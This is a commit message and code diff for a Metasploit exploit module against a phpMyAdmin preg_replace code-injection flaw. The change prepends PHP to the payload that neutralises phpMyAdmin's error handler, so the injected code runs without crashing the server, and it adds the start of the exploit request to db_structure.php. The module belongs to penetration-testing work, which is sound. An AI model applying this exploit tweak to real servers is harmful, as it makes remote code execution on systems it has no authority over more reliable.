Clear out PMA's error handler

* Add an error_handler function that just returns true. This prevents eventual
  ENOMEM errors and segfaults like these:
    [Fri Apr 26 15:01:00 2013] [error] [client 127.0.0.1] PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 44659282 bytes) in /home/egypt/repo/phpmyadmin/libraries/Error.class.php on line 156
    [Fri Apr 26 15:01:16 2013] [notice] child pid 7347 exit signal Segmentation fault (11)
* clean up some whitespace

modules/exploits/multi/http/phpmyadmin_preg_replace.rb

@@ -38,6 +38,9 @@ class Metasploit3 < Msf::Exploit::Remote
 			'Payload'    =>
 				{
 					'BadChars' => "&\n=+%",
+					# Clear out PMA's error handler so it doesn't lose its mind
+					# and cause ENOMEM errors and segfaults in the destructor.
+					'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
 				},
 			'Targets' =>
 				[
@@ -137,7 +140,6 @@ class Metasploit3 < Msf::Exploit::Remote
 		end
 
 		db = rand_text_alpha(3+rand(3))
-
 		exploit_result = send_request_cgi({
 			'uri'	=> uri('db_structure.php'),
 			'method' => 'POST',